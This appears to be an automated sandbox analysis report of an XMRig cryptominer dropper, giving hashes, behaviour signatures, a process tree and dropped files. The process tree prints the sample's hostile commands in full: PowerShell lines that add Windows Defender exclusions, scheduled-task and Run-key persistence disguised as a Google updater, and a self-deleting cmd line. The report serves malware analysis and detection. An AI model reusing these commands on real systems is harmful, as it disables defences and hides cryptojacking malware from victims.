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Resubmissions

21/07/2024, 20:17

240721-y27lvsvfll 10

06/06/2024, 10:00

240606-l14glacf9x 10

06/06/2024, 10:00

240606-l12yrscf9w 10

06/06/2024, 09:56

240606-lyrd9acf71 10

06/06/2024, 09:55

240606-lx1xascf7v 10

06/06/2024, 09:55

240606-lxyf6scf7t 10

06/06/2024, 09:35

240606-lkvvhsce2y 10

06/06/2024, 09:32

240606-lhs8xacd7v 10

06/06/2024, 09:32

240606-lhsx5sdd47 10

Analysis

  • max time kernel
    1799s
  • max time network
    1784s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06/06/2024, 09:55

General

  • Target

    qM5GMXBk6hJE6Y5e (24).exe

  • Size

    2.0MB

  • MD5

    a16a669a09bf158058b83e04e69fe38e

  • SHA1

    f6c94763850d9e590d86057139e8895a7aacdeea

  • SHA256

    cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

  • SHA512

    658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

  • SSDEEP

    49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 30 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 1 IoCs
  • UPX packed file 30 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 30 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3464
      • C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (24).exe
        "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (24).exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:1588
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4336
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4492
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:3188
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
          3⤵
            PID:4524
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (24).exe"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:3556
          • C:\Windows\System32\choice.exe
            choice /C Y /N /D Y /T 3
            3⤵
              PID:1280
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:3496
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
            2⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:4928
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe qtdiqnkejoz
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Suspicious behavior: EnumeratesProcesses
            PID:5100
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            • Suspicious use of WriteProcessMemory
            PID:412
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic PATH Win32_VideoController GET Name, VideoProcessor
              3⤵
              • Detects videocard installed
              PID:3064
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            PID:1612
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
            2⤵
              PID:2432
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            1⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:4720

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          • C:\Program Files\Google\Chrome\updater.exe

            Filesize

            2.0MB

            MD5

            a16a669a09bf158058b83e04e69fe38e

            SHA1

            f6c94763850d9e590d86057139e8895a7aacdeea

            SHA256

            cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

            SHA512

            658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

          • C:\Program Files\Google\Libs\g.log

            Filesize

            226B

            MD5

            fdba80d4081c28c65e32fff246dc46cb

            SHA1

            74f809dedd1fc46a3a63ac9904c80f0b817b3686

            SHA256

            b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398

            SHA512

            b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29

          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

            Filesize

            2KB

            MD5

            d85ba6ff808d9e5444a4b369f5bc2730

            SHA1

            31aa9d96590fff6981b315e0b391b575e4c0804a

            SHA256

            84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

            SHA512

            8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            944B

            MD5

            6d42b6da621e8df5674e26b799c8e2aa

            SHA1

            ab3ce1327ea1eeedb987ec823d5e0cb146bafa48

            SHA256

            5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c

            SHA512

            53faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            1KB

            MD5

            da5a10158faa231a5f454c990d045204

            SHA1

            2840ae1e929dd496c8bbe11b520b343a95e072d4

            SHA256

            4a9a6d48654fe2b0167534264f6c86ef0241f1c28d0bb1fe2f31610dd9dfe8e9

            SHA512

            2077addce1529eaab825b4a58e74478ce1c208e949654d6da6cec73fc0ac060e8ee63d48de1738f785af8b32eeff62c1f3d49d4b7c48799a3e184a048a33fb27

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gwfzm5dt.e1e.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

            Filesize

            4KB

            MD5

            a50c29de640e5957ed3802b419ae72c7

            SHA1

            c891a511854fa10544aaf44da98dc97780d54aa3

            SHA256

            df11e0cdaf259ac83da3b3f21fe0fde6f12d39b89f1d6ba9ba085b689b936f87

            SHA512

            b6ea40e1850843aa3ba7194ec0b683c6b15478c39266e6e445ee1be8f2c4d4ffc74274110fe5ca41859e9f8b746ade84577b705c9655e9f9b2d7a4bdd91e9153

          • C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            1KB

            MD5

            f78c1239f2684799917efb4bd4ec1db0

            SHA1

            4da5f2b120b406263b4e24ccb31815e5ba69e717

            SHA256

            eeee8ea682c3128e5cfc265b9cd10622326150030c108f2dfb8ce3d14fb66f5b

            SHA512

            89d65238ed7794ec3ac78a4f694ab9630bb62512d9f955b501a354f86364b203bd0c748ad6a8893ce0429dc5d6931e2b0b7da46f9764b0e8fca8b6c3be53b376

          • memory/1588-0-0x00007FF60DCC0000-0x00007FF60DED1000-memory.dmp

            Filesize

            2.1MB

          • memory/1588-36-0x00007FF60DCC0000-0x00007FF60DED1000-memory.dmp

            Filesize

            2.1MB

          • memory/2432-108-0x000001934CC40000-0x000001934CC60000-memory.dmp

            Filesize

            128KB

          • memory/2432-141-0x00007FF6A7A10000-0x00007FF6A8204000-memory.dmp

            Filesize

            8.0MB

          • memory/2432-167-0x00007FF6A7A10000-0x00007FF6A8204000-memory.dmp

            Filesize

            8.0MB

          • memory/2432-165-0x00007FF6A7A10000-0x00007FF6A8204000-memory.dmp

            Filesize

            8.0MB

          • memory/2432-163-0x00007FF6A7A10000-0x00007FF6A8204000-memory.dmp

            Filesize

            8.0MB

          • memory/2432-161-0x00007FF6A7A10000-0x00007FF6A8204000-memory.dmp

            Filesize

            8.0MB

          • memory/2432-159-0x00007FF6A7A10000-0x00007FF6A8204000-memory.dmp

            Filesize

            8.0MB

          • memory/2432-157-0x00007FF6A7A10000-0x00007FF6A8204000-memory.dmp

            Filesize

            8.0MB

          • memory/2432-155-0x00007FF6A7A10000-0x00007FF6A8204000-memory.dmp

            Filesize

            8.0MB

          • memory/2432-153-0x00007FF6A7A10000-0x00007FF6A8204000-memory.dmp

            Filesize

            8.0MB

          • memory/2432-151-0x00007FF6A7A10000-0x00007FF6A8204000-memory.dmp

            Filesize

            8.0MB

          • memory/2432-149-0x00007FF6A7A10000-0x00007FF6A8204000-memory.dmp

            Filesize

            8.0MB

          • memory/2432-147-0x00007FF6A7A10000-0x00007FF6A8204000-memory.dmp

            Filesize

            8.0MB

          • memory/2432-145-0x00007FF6A7A10000-0x00007FF6A8204000-memory.dmp

            Filesize

            8.0MB

          • memory/2432-143-0x00007FF6A7A10000-0x00007FF6A8204000-memory.dmp

            Filesize

            8.0MB

          • memory/2432-119-0x00007FF6A7A10000-0x00007FF6A8204000-memory.dmp

            Filesize

            8.0MB

          • memory/2432-139-0x00007FF6A7A10000-0x00007FF6A8204000-memory.dmp

            Filesize

            8.0MB

          • memory/2432-137-0x00007FF6A7A10000-0x00007FF6A8204000-memory.dmp

            Filesize

            8.0MB

          • memory/2432-135-0x00007FF6A7A10000-0x00007FF6A8204000-memory.dmp

            Filesize

            8.0MB

          • memory/2432-133-0x00007FF6A7A10000-0x00007FF6A8204000-memory.dmp

            Filesize

            8.0MB

          • memory/2432-131-0x00007FF6A7A10000-0x00007FF6A8204000-memory.dmp

            Filesize

            8.0MB

          • memory/2432-129-0x00007FF6A7A10000-0x00007FF6A8204000-memory.dmp

            Filesize

            8.0MB

          • memory/2432-127-0x00007FF6A7A10000-0x00007FF6A8204000-memory.dmp

            Filesize

            8.0MB

          • memory/2432-125-0x00007FF6A7A10000-0x00007FF6A8204000-memory.dmp

            Filesize

            8.0MB

          • memory/2432-109-0x00007FF6A7A10000-0x00007FF6A8204000-memory.dmp

            Filesize

            8.0MB

          • memory/2432-111-0x00007FF6A7A10000-0x00007FF6A8204000-memory.dmp

            Filesize

            8.0MB

          • memory/2432-123-0x00007FF6A7A10000-0x00007FF6A8204000-memory.dmp

            Filesize

            8.0MB

          • memory/2432-113-0x00007FF6A7A10000-0x00007FF6A8204000-memory.dmp

            Filesize

            8.0MB

          • memory/2432-121-0x00007FF6A7A10000-0x00007FF6A8204000-memory.dmp

            Filesize

            8.0MB

          • memory/2432-115-0x00007FF6A7A10000-0x00007FF6A8204000-memory.dmp

            Filesize

            8.0MB

          • memory/2432-117-0x00007FF6A7A10000-0x00007FF6A8204000-memory.dmp

            Filesize

            8.0MB

          • memory/3496-73-0x00000204D3830000-0x00000204D384A000-memory.dmp

            Filesize

            104KB

          • memory/3496-76-0x00000204D3820000-0x00000204D382A000-memory.dmp

            Filesize

            40KB

          • memory/3496-68-0x00000204D35A0000-0x00000204D35BC000-memory.dmp

            Filesize

            112KB

          • memory/3496-69-0x00000204D35C0000-0x00000204D3675000-memory.dmp

            Filesize

            724KB

          • memory/3496-70-0x00000204D3680000-0x00000204D368A000-memory.dmp

            Filesize

            40KB

          • memory/3496-71-0x00000204D37F0000-0x00000204D380C000-memory.dmp

            Filesize

            112KB

          • memory/3496-72-0x00000204D37D0000-0x00000204D37DA000-memory.dmp

            Filesize

            40KB

          • memory/3496-74-0x00000204D37E0000-0x00000204D37E8000-memory.dmp

            Filesize

            32KB

          • memory/3496-75-0x00000204D3810000-0x00000204D3816000-memory.dmp

            Filesize

            24KB

          • memory/4336-12-0x00007FF99F5B0000-0x00007FF9A0071000-memory.dmp

            Filesize

            10.8MB

          • memory/4336-11-0x000001E057450000-0x000001E057472000-memory.dmp

            Filesize

            136KB

          • memory/4336-1-0x00007FF99F5B3000-0x00007FF99F5B5000-memory.dmp

            Filesize

            8KB

          • memory/4336-13-0x00007FF99F5B0000-0x00007FF9A0071000-memory.dmp

            Filesize

            10.8MB

          • memory/4336-16-0x00007FF99F5B0000-0x00007FF9A0071000-memory.dmp

            Filesize

            10.8MB

          • memory/4492-18-0x00007FF99F5B0000-0x00007FF9A0071000-memory.dmp

            Filesize

            10.8MB

          • memory/4492-31-0x00007FF99F5B0000-0x00007FF9A0071000-memory.dmp

            Filesize

            10.8MB

          • memory/4492-29-0x00007FF99F5B0000-0x00007FF9A0071000-memory.dmp

            Filesize

            10.8MB

          • memory/4492-32-0x00007FF99F5B0000-0x00007FF9A0071000-memory.dmp

            Filesize

            10.8MB

          • memory/4492-34-0x00007FF99F5B0000-0x00007FF9A0071000-memory.dmp

            Filesize

            10.8MB

          • memory/4492-19-0x00007FF99F5B0000-0x00007FF9A0071000-memory.dmp

            Filesize

            10.8MB

          • memory/4720-107-0x00007FF702870000-0x00007FF702A81000-memory.dmp

            Filesize

            2.1MB

          • memory/4720-49-0x00007FF702870000-0x00007FF702A81000-memory.dmp

            Filesize

            2.1MB

          • memory/4928-99-0x000001D4BF5E0000-0x000001D4BF695000-memory.dmp

            Filesize

            724KB

          • memory/5100-110-0x00007FF6D05C0000-0x00007FF6D05D6000-memory.dmp

            Filesize

            88KB

          • memory/5100-114-0x00007FF6D05C0000-0x00007FF6D05D6000-memory.dmp

            Filesize

            88KB